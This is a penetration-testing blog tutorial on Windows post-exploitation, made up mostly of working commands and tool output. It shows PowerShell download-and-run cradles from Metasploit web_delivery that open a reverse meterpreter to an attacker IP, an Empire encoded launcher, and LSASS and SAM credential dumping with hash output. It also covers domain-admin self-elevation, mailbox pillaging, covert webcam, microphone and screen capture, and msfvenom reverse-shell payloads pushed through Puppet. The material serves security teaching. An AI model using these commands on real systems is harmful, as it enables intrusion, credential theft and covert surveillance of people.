Infrastructure PenTest Series : Part 4 - Post Exploitation

From the previous post, we learned how to have authenticated remote shell in windows, in this post, we will have a look around of how to Gather Windows Credentials after getting a remote shell. We would also have a look how to have a High Impact Exploitation which leaves an impact to the higher management for the organization. In Appendix-I : Windows Credentials, We have explained the concepts about authentication, credentials and authenticators, credential storage, authentication protocols, logon types. In Appendix-II Cracking Hashes, we talk about cracking windows active directory LM:NT hashes. In Appendix-III Interesting Stories contains blog links which might be helpful doing post-exploitation.

Gather Windows Credentials

Once we have administrative remote shell, our next task is to gather all the passwords from Security Accounts Manager (SAM) database, Local Security Authority Subsystem (LSASS) process memory. Domain Active Directory Database (domain controllers only), Credential Manager (CredMan) store or LSA Secrets in the registry and get all the passwords (clear-text or hashed). A lot of stuff has already been mentioned at Obtaining Windows Passwords and Dumping Windows Credential and Bernardo Blog Dump Windows password hashes efficiently Part1 , Part2, Part3, Part4, Part5 and Part6.

We have tried to combine all the methods in one post. (A lot of stuff has also been not mentioned such fgdump, pwdump etc.). For all methods, check Credential Dumping on ATT&CK.

So, back to credential dumping after getting a remote shell, there are multiple methods to do the following:

- Get metasploit meterpreter by using Web Delivery method and run mimikatz
- Get powershell empire agent by using powershell launcher string and run mimikatz
- Execute Windows Credential Editor (WCE)

Table Of Contents

- Dumping Local Security Authority Subsystem Service
- Dumping Registry Hives
- Dumping System/ Security/ SAM File
- Virtual Machine Snapshots and Suspended States - Vmss2core

Metasploit Web Delivery

Metasploit Web Delivery : Metasploit's Web Delivery Script is a versatile module that creates a server on the attacking machine which hosts a payload. When the victim connects to the attacking server, the payload will be executed on the victim machine. This module has a powershell method which generates a string which is needed to be executed on remote windows machine.

```
msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Python
   1   PHP
   2   PSH


msf exploit(web_delivery) > set target 2
target => 2
msf exploit(web_delivery) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf exploit(web_delivery) > set lhost 14.97.131.138
lhost => 14.97.131.138
msf exploit(web_delivery) > run
[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://14.97.131.138:8443
msf exploit(web_delivery) > [*] Using URL: http://0.0.0.0:8080/uMOKs6wtlYL
[*] Local IP: http://14.97.131.138:8080/uMOKs6wtlYL
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $X=new-object net.webclient;$X.proxy=[Net.Web
```

When the following command (when there is no proxy)

```
powershell.exe -nop -w hidden -c $X=new-object net.webclient;IEX $X.downloadst
```

or (when there is proxy)

```
powershell.exe -nop -w hidden -c $X=new-object net.webclient;$X.proxy=[Net.Web
```

is executed on the windows remote machine, we should get a meterpreter.

```
Delivery web_delivery payload
meterprerter>
```

Once we have got the meterpreter, we can use mimikatz or kiwi to dump all the credentials.

Powershell Empire

Powershell Empire agent : Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework.

After creating a listener, we just need to create a launcher using stager:

```
(Empire: listeners) > usestager launcher
(Empire: stager/launcher) > set Listener test
(Empire: stager/launcher) > generate
powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBTAHkAUwB0AGUAbQAuAE4ARQBUAMAA
```

When the above command is executed on the windows remote shell, we should be able to get a powershell agent

This Page

Show Source
Show on GitHub

```
(Empire) > [+] Initial agent 2FTFYMKDFSSFS from 192.168.42.5 now active
```

Sometimes the above two will fail to work, in which case, we revert to the old techniques:

Dump Lsass.exe (Local Security Authority Subsystem Service)

Procdump

This method has been mentioned Grabbing Passwords from Memory using Procdump and Mimikatz , How Attackers Extract Credentials (Hashes) From LSASS , Mimikatz Minidump and mimikatz via bat file , Extracting Clear Text Passwords Using Procdump and Mimikatz and I'll Get Your Credentials ... Later!

- First, upload the ProcDump.exe to the remote computer by using smb, windows explorer.
- Second, from the remote shell, execute

```
C:\Windows\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp
C:\Windows\temp\procdump.exe -accepteula -ma -64 lsass.exe lsass.dmp
```

- Download the lsass.dmp and use mimikatz to get the passwords.

Powershell Out-MiniDump

This method is similar to the procdump using powershell. Instead of procdump, we utilize powershell Out-MiniDump.ps1 from PowerSploit

- Launch PowerShell and dot source function from the Out-Minidump.ps1

```
. c:\path\to\Out-Minidump.ps1
```

- Create dump of the process using this syntax:

```
Get-Process lsass | Out-Minidump -DumpFilePath C:\Windows\Temp
```

Registry Hives

Get a copy of the SYSTEM, SECURITY and SAM hives and download them back to your local system:

```
C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
```

Get the password hashes of the local accounts, the cached domain credentials and the LSA secrets in a single run with Impacket secretsdump.py

```
$ secretsdump.py -sam sam.save -security security.save -system system.save LOC
Impacket v0.9.11-dev - Copyright 2002-2013 Core Security Technologies

[*] Target system bootKey: 0x602e8c2947d56a95bf9cfxxxxxxxxxx
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
admsys  :500 :aad3b435b51404eeaad3b435b51404ee:3e24dcead23468ce597d68xxxxxxxx
Guest   :501 :aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59dxxxxxxx
support :1000:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b5xxxxxxx
[*] Dumping cached domain logon information (uid:encryptedHash:longDomain:doma
adm2:6ec74661650377df488415415bf10321:system1.example.com:EXAMPLE:::
Administrator:c4a850e0fee5af324a57fd2eeb8dbd24:system2.example.COM:EXAMPLE:::
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:2fb3672702973ac1b9adxxxxxxxxxx
```

Windows Credential Editor (WCE)

Windows Credentials Editor (WCE) is a security tool that allows to list Windows logon sessions and add, change, list and delete associated credentials (e.g.: LM/NT hashes, Kerberos tickets and cleartext passwords).

The tool allows users to:

- Perform Pass-the-Hash on Windows
- 'Steal' NTLM credentials from memory (with and without code injection)
- 'Steal' Kerberos Tickets from Windows machines

- Use the ‘stolen’ kerberos Tickets on other Windows or Unix machines to gain access to systems and services
- Dump cleartext passwords stored by Windows authentication packages

Examples

List NTLM credentials in memory

By default, WCE lists NTLM credentials in memory, no need to specify any options.

```
C:\Users\test>wce.exe
WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security - by Her
Use -h for help.

theuser:amplialabs:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A8280797
```

Create a new logon session

Create a new logon session and launch a program with new NTLM credentials?

```
wce.exe -s <username>:<domain>:<lmhash>:<nthash> -c <program>
```

Example:

```
C:\Users\test>wce.exe -s testuser:amplialabs:01FC5A6BE7BC6929AAD3B435B51404EE:

WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security - by Her
Use -h for help.

Changing NTLM credentials of new logon session (000118914h) to:
Username: testuser
domain: amplialabs
LMHash: 01FC5A6BE7BC6929AAD3B435B51404EE
NTHash: 0CB6948805F797BF2A82807973B89537
NTLM credentials successfully changed!
```

At this point, a new cmd.exe instance will be launched and network connections using NTLM initiated from that instance will use the NTLM credentials specified.

Write hashes obtained by WCE to a file?

```
C:\>wce -o output.txt
WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security - by Her
Use -h for help.

C:\>type output.txt
test:AMPLIALABS:0102030405060708090010203040506:9897123456786501981273457689
```

Dump logon cleartext passwords with WCE?

The -w switch can be used to dump logon passwords stored in cleartext by the Windows Digest Authentication package. For example:

```
C:\>wce -w
WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012 Amplia Security
Use -h for help.

test\MYDOMAIN:mypass1234
NETWORK SERVICE\WORKGROUP:test
```

This video shows the use of the -w switch in a Windows 2008 Server

Useful Information

- Cachedump obtains NTLM credentials from the Windows Credentials Cache (aka logon cache, logon information cache, etc). This cache can be disabled and it is very often disabled by network/domain/windows administrators (see here). WCE will be able to steal credentials even when this cache is disabled.
- WCE obtains NTLM credentials from memory, which are used by the system to perform SSO; it uses a series of techniques the author of WCE developed.

- Pwdump dumps NTLM credentials from the local SAM. Let's say, a administrator remote desktop to a server (compromised by attacker and can run wce). In this case, WCE would be able get the credential of Administrator (who RDP'd), However, pwdump will only allow you to obtain the NTLM credentials of the local SAM

The above information has been taken from WCE FAQ

System/ Security /SAM File

During penetration assessment, we do find VMDK file (Virtual Machine Disk), we should be able to mound vmdk file either by using Windows Explorer, VMWare Workstation or OSFMount. After mounting, we should be able to copy

```
System32/config/SYSTEM
System32/config/SECURITY
```

Passwords from these file could be extracted by using creddump7

creddump7

Run cachedump.py on the SYSTEM and SECURITY hives to extract cached domain creds:

```
# ./cachedump.py
usage: ./cachedump.py <system hive> <security hive> <Vista/7>

Example (Windows Vista/7):
./cachedump.py /path/to/System32/config/SYSTEM /path/to/System32/config/SECURI

Example (Windows XP):
./cachedump.py /path/to/System32/SYSTEM /path/to/System32/config/SECURITY fals

# ./cachedump.py /mnt/win/Windows/System32/config/SYSTEM /mnt/win/Windows/Syst
nharpsis:6b29dfa157face3f3d8db489aec5cc12:acme:acme.local
god:25bd785b8ff1b7fa3a9b9e069a5e7de7:acme:acme.local
```

If you want to crack the hashes and have a good wordlist, John can be used. The hashes are in the 'mscash2' format:

```
# john --format=mscash2 --wordlist=/usr/share/wordlists/rockyou.txt hashes
Loaded 2 password hashes with 2 different salts (M$ Cache Hash 2 (DCC2) PBKDF2
g0d              (god)
Welcome1!        (nharpsis)
```

The examples above are taken from creddump7 Readme

Virtual Machine Snapshots And Suspended States - Vmss2core

This method has been directly taken from the Fuzzy Security Blog I'll Get Your Credentials ... Later!

After compromising a target if we discover that the box hosts Virtual Machines. We can utilize vmss2core , we can use this tool to create a coredump of a Virtual Machine, If that machine has suspended (*.vmss) or snapshot (*.vmsn) checkpoint state files. These files can be parsed by the volatility framework to extract a hashdump.

Make sure to use the appropriate version of vmss2core, in this case I needed the 64-bit OSX version.

```
# We are working with a suspended state so we need to combine *.vmss and *.vme
 dealing with a snapshot we would need to combine *.vmsn and *.vmem.

Avalon:Tools b33f$ ./vmss2core_mac64 -W
/Users/b33f/Documents/VMware/VMs/Win7-Testbed/Windows\ 7.vmwarevm/Windows\ 7-e
/Users/b33f/Documents/VMware/VMs/Win7-Testbed/Windows\ 7.vmwarevm/Windows\ 7-e

vmss2core version 3157536 Copyright (C) 1998-2013 VMware, Inc. All rights rese
Win32: found DDB at PA 0x2930c28
Win32: MmPfnDatabase=0x82970700
Win32: PsLoadedModuleList=0x82950850
Win32: PsActiveProcessHead=0x82948f18
Win32: KiBugcheckData=0x82968a40
Win32: KernBase=0x82806000

Win32: NtBuildLab=0x82850fa8
Win: ntBuildLab=7601.17514.x86fre.win7sp1_rtm.101119-1850  # Win7 SP1 x86
CoreDumpScanWin32: MinorVersion set to 7601
... 10 MBs written.
```

```
... 20 MBs written.
... 30 MBs written.
... 40 MBs written.
... 50 MBs written.

[...Snip...]

Finished writing core.
```

After transferring the coredump back out we can let volatility do it's magic. We need to determine which OS the dump comes from for volatility to parse it correctly.

```
# We can see that volatility is unable to accurately determine the OS profile,
  output above we can see that the correct profile is "Win7SP1x86".

root@Josjikawa:~/Tools/volatility# ./vol.py imageinfo -f ../../Desktop/memory.

Determining profile based on KDBG search...

          Suggested Profile(s) : Win7SP0x86, Win7SP1x86 (Instantiated with Wir
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : WindowsCrashDumpSpace32 (Unnamed AS)
                     AS Layer3 : FileAddressSpace (/root/Desktop/memory.dmp)
                      PAE type : PAE
                           DTB : 0x185000L
            KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2014-09-13 19:15:04 UTC+0000
     Image local date and time : 2014-09-13 21:15:04 +0200
```

Using the "hivelist" plugin we can now get the memory offsets for the various registry hives.

```
root@Josjikawa:~/Tools/volatility# ./vol.py hivelist -f ../../Desktop/memory.d

Volatility Foundation Volatility Framework 2.4

Virtual    Physical   Name
---------- ---------- ----
0x988349c8 0x3945a9c8 \??\C:\Users\Fubar\AppData\Local\Microsoft\Windows\UsrCl
0x87a0c008 0x27f9f008 [no name]
0x87a1c008 0x280ed008 \REGISTRY\MACHINE\SYSTEM                # SYSTEM
```

```
0x87a3a6b0 0x27d4b6b0 \REGISTRY\MACHINE\HARDWARE
0x87abe5c0 0x2802a5c0 \SystemRoot\System32\Config\DEFAULT
0x880b5008 0x231b7008 \SystemRoot\System32\Config\SECURITY
0x88164518 0x231cc518 \SystemRoot\System32\Config\SAM         # SAM
0x8bd019c8 0x24aec9c8 \Device\HarddiskVolume1\Boot\BCD
0x8bdd2008 0x24772008 \SystemRoot\System32\Config\SOFTWARE
0x8f5549c8 0x1f39e9c8 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0x90e83008 0x1f09f008 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0x955a9450 0x15468450 \??\C:\System Volume Information\Syscache.hve
0x988069c8 0x3aa329c8 \??\C:\Users\Fubar\ntuser.dat
```

All that remains now is to dump the hashes. To do this we need to pass volatility's "hashdump" module the virtual memory offsets to the SYSTEM and SAM hives, which we have.

```
root@Josjikawa:~/Tools/volatility# ./vol.py hashdump -f ../../Desktop/memory.c
sys-offset=0x87a1c008 sam-offset=0x88164518

Volatility Foundation Volatility Framework 2.4

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Fubar:1001:aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca::
user1:1003:aad3b435b51404eeaad3b435b51404ee:7d65996108fccae892d38134a2310a4e::
```

These Virtual Machine coredumps can be very large (1 GB+). If transferring them over the network is not an option you can always drop a copy of volatility on the target machine. Starting from version 2.4, volatility has binary packages for Windows, Linux and OSX.

```
# Binary package on OSX 10.9.4

Avalon:Volatility-2.4 b33f$ ./volatility_2.4_x64 hashdump -f ../memory.dmp --p
sys-offset=0x87a1c008 sam-offset=0x88164518

Volatility Foundation Volatility Framework 2.4

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Fubar:1001:aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca::
user1:1003:aad3b435b51404eeaad3b435b51404ee:7d65996108fccae892d38134a2310a4e::
```

Active Directory Built-In Groups Self-Elevation

Generally when we talk about elevation using Built-In groups, it is considered to be a Local administrator to a higher priviledge user.

As mentioned in a ADSecurity Blog there are a few built-in groups with the ability to logon to Domain Controllers by default:

- Enterprise Admins (member of the domain Administrators group in every domain in the forest)
- Domain Admins (member of the domain Administrators group)
- Administrators
- Backup Operators
- Server Operators
- Account Operators
- Print Operators (Currently has no obvious methods of elevating privileges)

During a penetration testing engagement, this is probably the least used but one of the most effective ways of compromising the domain administrator. This has been shared by Jason Filley in his blog Active Directory Built-In Groups Self-Elevation

Built-In Administrators to EA/DA

If you have local administrator access to the domain controller, however do not have domain administrative access, the elevation is pretty simple. We need to only add the user we are utilizing into the domain admins group, utilizing a privileged command prompt and we are done.

```
net group "Domain Admins" %username% /DOMAIN /ADD
```

Below are interesting cases on how one could utilize other Built-In Administrators to elevate to Enterprise Admin/ Domain Admin/ Built-In Administrator

Server Operators elevate to EA/DA/BA

Server Operators can modify the properties of certain services. The Computer Browser ("browser") service is disabled by default and can easily be changed to run a command as System, which on DC's has permissions to modify the built-in administrative groups.

```
C:\>sc sdshow browser

D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDT
```

Here we see that Server Operators ("SO") can write all properties ("WP") for the browser service. Change the browser service properties to call "net group" instead.

> C:>sc config browser binpath= "C:WindowsSystem32cmd.exe /c net group "Enterprise Admins" %username% /DOMAIN /ADD" type= "share" group= "" depend= "" [SC] ChangeServiceConfig SUCCESS
>
> C:>sc start browser [SC] StartService FAILED 1053:
>
> The service did not respond to the start or control request in a timely fashion.

Success: user added to "Enterprise Admins"

Account Operators elevate to privileged group via nested group

Account Operators have no permissions to modify the EA/DA/BA groups. However, if someone has been reckless enough to nest a group in a privileged group, Account Operators can still modify the nested group (by default). Suppose someone added the "NestedGroup" group as a member of the BA group:

```
net group "NestedGroup" %username% /DOMAIN /ADD
```

Succeeds. The user is now a member of "NestedGroup" and by inclusion a member of BA.

Member of Backup Operators elevate to Administrators

The sole purpose of the BO group is to back up and restore domain controllers (or any part thereof), so that's what we'll do.

Get the SID of the target user account:

```
C:\>dsquery user -name %username% | dsget user -sid
 sid
 S-1-5-21-2079967355-3169663337-3296943937-1111
dsget succeeded
```

As member of Backup Operators group, copy the Default Domain (or other applicable) GPO to a temporary location (e.g. your Desktop):

```
C:\Windows\SYSVOL\domain\Policies\{*}\MACHINE\Microsoft\Windows NT\SecEdit\Gpt
```

Edit or add the Restricted Groups values, adding the SID of your account to the desired group (e.g. "S-1-5-32-544" == "Built-In Administrators"):

```
=======
[Group Membership]
*S-1-5-32-544__Memberof =
*S-1-5-32-544__Members = <etc etc etc>,*S-1-5-21-2079967355-3169663337-329694
```

Back the file up. Restore the file and redirect it to the real SYSVOL location, overwriting the existing GPO. Wait for GP refresh. Success.

High Impact Exploitation

This section mainly focuses on the Post-exploitation which can be show to the higher management for impact or showing risk such as reading emails (either by reading .pst files or having access to the exchange server), having access to the File-servers holding confidential data, able to access employees laptop/ desktop (watch them via webcam/ listen to the surroundings using microphones). The assumption is we have already compromised the domain administrator of the Windows Domain.

Outlook data file .pst

A Personal Folders file (.pst) is an Outlook data file that stores your messages and other items on your computer.

readpst (linux) or readpst.exe can be used to read pst mailbox for passwords

```
ReadPST / LibPST v0.6.59
Little Endian implementation being used.
Usage: readpst [OPTIONS] {PST FILENAME}
OPTIONS:
       -V      - Version. Display program version
       -D      - Include deleted items in output
       -M      - Write emails in the MH (rfc822) format
       -S      - Separate. Write emails in the separate format
       -e      - As with -M, but include extensions on output files
       -h      - Help. This screen
       -o <dirname>    - Output directory to write files to. CWD is changed *a
       -q      - Quiet. Only print error messages
       -r      - Recursive. Output in a recursive format
       -t[eajc]        - Set the output type list. e = email, a = attachment,
       -w      - Overwrite any output mbox files
```

Only one of -M -S -e -k -m -r should be specified

Once readpst has converted the contents of the .pst file to plaintext documents, we can search through them using the built-in “findstr” command.

```
findstr /s /i /m “password” *.*

“/s” tells findstr to search through the current directory and subdirectories.
“/i” specifies that the search should be case insensitive.
“/m” tells findstr to output the file name rather than the file contents – if
*.*, of course, means that we’re searching through files of any name and any t
```

The above has been taken from the Pillaging .pst Files

Pillage Exchange

This is applicable in a Microsoft environment that uses Outlook but does not back up email to .pst files.

The assumption is that we have already compromised the Exchange Administrator account on the Exchange server. We'll use two techniques to search through mailboxes of interest. The first is to give ourselves full access to the targeted user's mailbox; the second is to use built-in management features to search through a mailbox of our choosing.

Full access to the targeted user's mailbox

- Step 1: Add a Mailbox - Create a new mailbox by using web-based Exchange Admin Center (EAC). The "mailboxes" section allows us to add a new user mailbox. The user receiving the mailbox can come from the list of Active Directory users, or the Administrator can create a new user.
- Step 2: Mailbox Delegation - Once our new user's mailbox is created, we can give ourselves full access to our target user mailbox. This can be done by using targeted user mailbox account options. Go to the account settings of targeted user mailbox, select the edit option, select "mailbox delegation," and add our new user to the "Full Access" section. Once that's complete, we can log in to our recently created mailbox with the username and password we set, then open another mailbox without being required to enter any credentials

However, when we interact with their mailbox, it's as if they are doing it, so emails previously marked as unread will be marked as read after being opened.

Search-Mailbox cmdlet

- If we have access to the exchange server and Exchange Management Tools are installed on a machine, they include the Exchange Management Shell, which is a version of Powershell with specific features for administering exchange. "Search-Mailbox," allow us to make specific search queries on mailboxes of interest without manually giving ourselves full-access and logging in.
- However, Search-Mailbox belongs to administrators with the "Discovery Management" role. We have to add the compromised account to the members of this role by visiting EAC and

going to “permissions,” “admin roles” and editing the “Discovery Management” to add the account we compromised.

- Search-Mailbox Syntax

```
Search-Mailbox -Identity “First Last” -SearchQuery “String” -TargetM

Identity is the Active Directory username
SearchQuery is the string of text we’re looking for,
TargetMailbox is the mailbox where emails containing that string wil
TargetFolder is the folder in that mailbox where they’ll go
```

Example:

```
Search-Mailbox -Identity “Targeted User” -SearchQuery “Password” -TargetMailbo
```

Now we simply pop back over to the mailbox of the user we created and inspect the newly arrived email(s):

The above has been taken from Pillage Exchange

File Servers

We can get a list of file servers in the windows active directory by using Powersploit-Powerview-Get-NetFileServer funtion. Once we have the file server list, we can view the file server contents utilizing Windows explorer. We can also mount the file server using mount.cifs

```
mount.cifs //{ip address}/{dir} /mnt/mountdirectory --verbose -o "username=foo
```

Active Directory Database Credentials

Sean Metcalf has written a brilliant blog How Attackers Dump Active Directory Database Credentials

The above blog covers:

- Grabbing the ntds.dit file locally on the DC using NTDSUtil's Create IFM
- Pulling the ntds.dit remotely using VSS shadow copy
- Pulling the ntds.dit remotely using PowerSploit's Invoke-NinjaCopy (requires PowerShell remoting is enabled on target DC).
- Dumping Active Directory credentials locally using Mimikatz (on the DC).
- Dumping Active Directory credentials locally using Invoke-Mimikatz (on the DC).
- Dumping Active Directory credentials remotely using Invoke-Mimikatz.
- Dumping Active Directory credentials remotely using Mimikatz's DCSync.

The methods covered above require elevated rights since they involve connecting to the Domain Controller to dump credentials.

The statement "We do have all the users password hashes of your organization and X number of passwords were cracked in X number of days" make a good impact for your client.

C-Level Executive - Webcam, Microphone, User Activity Recording

Metasploit provide a post exploitation module for taking snapshots from webcam and recording sounds from microphone. Imagine, the impact of informing the client that we can view a person live-feed or record sounds from a meeting room without being present in the same room. Maybe in the meeting there were discussing about passwords, company secrets, operations, future plannings, spendings, etc.

Webcam

This module will allow the user to detect installed webcams (with the LIST action) or take a snapshot (with the SNAPSHOT) action.

```
msf > use post/windows/manage/webcam
msf post(webcam) > info

Name: Windows Manage Webcam
Module: post/windows/manage/webcam

Available actions:
Name      Description
```

```
----      -----------
LIST      Show a list of webcams
SNAPSHOT  Take a snapshot with the webcam

Basic options:
Name     Current Setting  Required  Description
----     ---------------  --------  -----------
INDEX    1                no        The index of the webcam to use
QUALITY  50               no        The JPEG image quality
SESSION                   yes       The session to run this module on.
```

Record_Mic

This module will enable and record your target's microphone.

```
msf post(webcam) > use post/multi/manage/record_mic
msf post(record_mic) > info

Name: Multi Manage Record Microphone
Module: post/multi/manage/record_mic

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
DURATION  5                no        Number of seconds to record
SESSION                    yes       The session to run this module on.
```

Sinn3r has written a blog [The forgotten spying feature: Metasploit's Mic Recording Command] which can provide more information. Once, we have recorded the meetings, the sound WAV files can be converted to text using speech to text api.

User Activity

If we have a meterpreter from a windows machine, we can use Problem Steps Recorder (PSR) (Microsoft In-built tool) to captures screenshots and text descriptions of what a user is doing on their system.

```
psr.exe [/start |/stop][/output <fullfilepath>] [/sc (0|1)] [/maxsc <value>]
[/sketch (0|1)] [/slides (0|1)] [/gui (0|1)]
```

```
[/arcetl (0|1)] [/arcxml (0|1)] [/arcmht (0|1)]
[/stopevent <eventname>] [/maxlogsize <value>] [/recordpid <pid>]

/start Start Recording. (Outputpath flag SHOULD be specified)
/stop Stop Recording.
/sc Capture screenshots for recorded steps.
/maxsc Maximum number of recent screen captures.
/maxlogsize Maximum log file size (in MB) before wrapping occurs.
/gui Display control GUI.
/arcetl Include raw ETW file in archive output.
/arcxml Include MHT file in archive output.
/recordpid Record all actions associated with given PID.
/sketch Sketch UI if no screenshot was saved.
/slides Create slide show HTML pages.
/output Store output of record session in given path.
/stopevent Event to signal after output files are generated.
```

Once, we have a meterpreter, we can use shell to execute it

```
psr.exe /start /gui 0 /output C:\Users\Dan\Desktop\cool.zip;
Start-Sleep -s 20;
psr.exe /stop;
```

Refer Using Problem Steps Recorder (PSR) Remotely with Metasploit

Hypervisor

A hypervisor or virtual machine monitor (VMM) is computer software, firmware or hardware that creates and runs virtual machines. Many of times, we would find that the client has deployed a common 4-tier architecture such as development, testing, staging, production (DEV, TEST, STAGING, PROD) on to hypervisor i.e. each environment on one hypervisor. If you compromise the Hypervisor (mostly attached to Windows Domain), you would end up compromising whole (DEV/ TEST/ STAGING and PROD) environment. Once, we compromised a client SAP environment in such manner.

Targeted Hunting

As we already have domain administrator privileges, we own the network and possibly have access to every machine. However, we will cover a non-traditional way to strategically target and

compromise computers.

Microsoft's System Center Configuration Manager

SCCM is a platform that allows for an enterprise to package and deploy operating systems, software, and software updates. It allows for IT staff to script and push out installations to clients in an automated manner. If you can gain access to SCCM, it makes for a great attack platform. It heavily integrates Windows PowerShell, has excellent network visibility, and has a number of SCCM clients as SYSTEM just waiting to execute your code as SYSTEM.

Enigma has written a awesome blog Target workstation compromise with SCCM

Microsoft System Center Operations Manager

System Center Operations Manager (SCOM) is a cross-platform data center monitoring system for operating systems and hypervisors. It uses a single interface that shows state, health and performance information of computer systems. It also provides alerts generated according to some availability, performance, configuration or security situation being identified. It works with Microsoft Windows Server and Unix-based hosts.

SCOM also allows to monitor health of the system and provide powershell interface to the machine or provide an ability to execute a script on a particular machine.

Puppet

Puppet is an open-source software configuration management tool. It runs on many Unix-like systems as well as on Microsoft Windows. It was created to easily automate repetitive and error-prone system administration tasks. Puppet's easy-to-read declarative language allows you to declare how your systems should be configured to do their jobs.

However, if an organization is utilizing puppet to control it servers/ workstations and we have compromised puppet server. We can just create a metasploit meterpreter based on the target operating system (Windows/ Linux) using msfvenom.

- Linux

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address
```

- Windows

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address>
```

- Mac

```
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=
```

Create a module in puppet to include this payload using file resource and store in on the targeted machine. Utilizing exec resource, execute the payload and we would receive the meterpreter on the listener.

Tanoy Bose has written the blog on Enterprise Offense: IT Operations [Part 1] - Post-Exploitation of Puppet and Ansible Servers

Todo

- The Email- Mailbox Post exploitation – Also the check if someone has exploited this (check logs) – which is also connected to Domain?
- How does google email works?
- File Hunting – Better ways!! Faster ways!!

Credmap: The credential Mapper

credmap. is open source tool created by Roberto Salgado to check for credential reuse. It is capable of testing the supplied user credentials on several websites to test if the password has been reused or not. This tool can be of great advantage to check the validation of the gathered credentials on other social media sites as well.

```
Usage: credmap.py --email EMAIL | --user USER | --load LIST [options]

Options:
  -h/--help             show this help message and exit
  -v/--verbose          display extra output information
  -u/--username=USER..  set the username to test with
  -p/--password=PASS..  set the password to test with
  -e/--email=EMAIL      set an email to test with
  -l/--load=LOAD_FILE   load list of credentials in format USER:PASSWORD
  -f/--format=CRED_F..  format to use when reading from file (e.g. u|e:p)
  -x/--exclude=EXCLUDE  exclude sites from testing
  -o/--only=ONLY        test only listed sites
  -s/--safe-urls        only test sites that use HTTPS
  -i/--ignore-proxy     ignore system default HTTP proxy
  --proxy               set proxy (e.g. "socks5://192.168.1.2:9050")
  --list                list available sites to test with
  --update              update from the official git repository

Examples:
./credmap.py --username janedoe --email janedoe@email.com
./credmap.py -u johndoe -e johndoe@email.com --exclude "github.com, live.com"
./credmap.py -u johndoe -p abc123 -vvv --only "linkedin.com, facebook.com"
./credmap.py -e janedoe@example.com --verbose --proxy "https://127.0.0.1:8080"
./credmap.py --load creds.txt --format "e.u.p"
./credmap.py -l creds.txt -f "u|e:p"
./credmap.py -l creds.txt
./credmap.py --list
```

Appendix-I : Windows Credentials

In this section, we have explained the concepts about authentication, credentials and authenticators, credential storage, authentication protocols, logon types. The below has been directly taken from the Mitigating Pass-the-Hash (PtH) Attacks and Other Credential Theft, Version 1 and 2

Terminology: authentication, credentials, and authenticators

When a user wants to access a computing resource, they must provide information that identifies who they are, their identity, and proof of this identity in the form of secret information that only

they are supposed to know. This proof of identity is called an **authenticator**. An authenticator can take various forms, depending on the authentication protocol and method. The combination of an **identity** and an **authenticator** is called an **authentication credential or credential**. The process of creation, submission, and verification of credentials is described simply as **authentication**, which is implemented through various authentication protocols, such as NTLM and Kerberos authentication. Authentication establishes the identity of the user, but not necessarily the user's permission to access or change a computing resource, which is handled by a separate authorization process.

Credentials in Windows operating systems

Credentials are typically created or converted to a form required by the authentication protocols available on a computer. Credentials may be stored in LSASS process memory for use by the account during a session. Credentials must also be stored on disk in authoritative databases, such as the SAM database and the Active Directory database.

Identities - usernames

In Windows operating systems, a user's identity takes the form of the account's username, either the "user name" (SAM Account Name) or the User Principal Name (UPN).

Windows authenticators

Windows Credential Types, lists the credential authenticator types in Windows operating systems and provides a brief description of each type.

Credential Type	Description

Credential Type	Description
Plaintext credentials	When a user logs on to a Windows computer and provides a username and credentials, such as a password or PIN, the information is provided to the computer in plaintext. This plaintext password is used to authenticate the user's identity by converting it into the form required by the authentication protocol. Current versions of Windows also retain an encrypted copy of this password that can be decrypted back to plaintext for use with authentication methods such as Digest authentication.
